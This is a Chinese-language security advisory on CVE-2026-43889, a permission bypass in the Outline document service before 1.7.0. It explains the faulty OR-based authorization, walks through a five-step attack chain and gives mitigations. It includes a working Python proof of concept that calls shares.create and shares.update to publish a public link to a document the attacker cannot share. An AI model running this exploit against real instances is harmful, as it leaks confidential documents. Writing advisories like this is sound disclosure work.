IPBUF安全漏洞报告
English
CVE-2026-43889 CVSS 6.5 中危

CVE-2026-43889 Outline权限绕过漏洞导致任意文档信息泄露

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43889
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Outline

相关标签

权限绕过Outline信息泄露逻辑漏洞API安全

漏洞概述

Outline是一款广泛使用的协作文档服务。在1.7.0版本之前,该软件存在严重的权限验证逻辑缺陷。具体而言,shares.create API在处理同时包含collectionId和documentId的请求时,若published参数为false,仅验证用户对资源的读取权限,而忽略了对“共享”权限的校验。随后的shares.update操作采用OR策略进行授权,允许仅拥有某个无关集合共享权限的攻击者,发布并暴露其本无权共享的任意文档。这使得未经身份验证的第三方用户可以通过生成的链接访问敏感文档,导致信息泄露。

技术细节

该漏洞的核心在于API设计中的权限检查逻辑不一致与授权策略宽松。首先,在shares.create阶段,系统本应验证用户是否有权发布特定文档,但实际上仅检查了读取权限。这允许攻击者将一个自己能读但不能分享的文档(Document B)与一个自己能分享的集合(Collection A)关联起来创建一个未发布的Share对象。其次,在shares.update阶段,系统执行发布操作时,其授权逻辑为:user.canShareCollection(collectionId) OR user.canShareDocument(documentId)。由于攻击者对Collection A拥有共享权限,该条件满足,系统便允许将指向Document B的链接状态更新为已发布。利用此逻辑漏洞,攻击者无需对目标文档拥有共享权限,即可利用其对其他资源的共享权限作为“跳板”,非法生成目标文档的公开访问链接。

攻击链分析

STEP 1
侦察
攻击者识别目标Outline实例,并找到一个自己无权分享但想要获取的敏感文档(Document B),同时找到一个自己拥有分享权限的集合(Collection A)。
STEP 2
创建未发布分享
攻击者调用shares.create API,传入Collection A的ID和Document B的ID,设置published=false。系统仅检查读取权限,操作成功。
STEP 3
权限提升
攻击者调用shares.update API,将之前创建的分享对象状态改为published=true。
STEP 4
绕过授权
系统验证授权时,发现攻击者对Collection A有分享权限,满足OR策略,允许发布操作。
STEP 5
信息泄露
系统生成指向Document B的公开链接,攻击者将其分发给未授权用户,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://outline.example.com" ATTACKER_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Headers headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Create a share resource # Attacker has 'share' permission on collection_id_A, but only 'read' on document_id_B payload_create = { "collectionId": "collection_id_A", "documentId": "document_id_B", "published": False } response = requests.post(f"{TARGET_URL}/api/shares.create", json=payload_create, headers=headers) if response.status_code == 200: share_id = response.json()['data']['id'] print(f"[+] Share created with ID: {share_id}") else: print("[-] Failed to create share") exit() # Step 2: Update the share to publish it # The backend checks: canShare(collection_id_A) OR canShare(document_id_B) # Since canShare(collection_id_A) is True, the publish succeeds. payload_update = { "id": share_id, "published": True } response = requests.post(f"{TARGET_URL}/api/shares.update", json=payload_update, headers=headers) if response.status_code == 200: share_url = response.json()['data']['url'] print(f"[+] Exploit successful! Document is now public: {share_url}") else: print("[-] Failed to publish share")

影响范围

Outline < 1.7.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用文档共享功能以阻断攻击链。同时,管理员应严格审查用户权限,确保只有特定角色才拥有“Share Collection”的权限。在WAF层面,可以尝试监控shares.create和shares.update接口,检测请求参数中collectionId和documentId是否逻辑一致(即属于同一上下文),尽管这只是临时缓解手段。

参考链接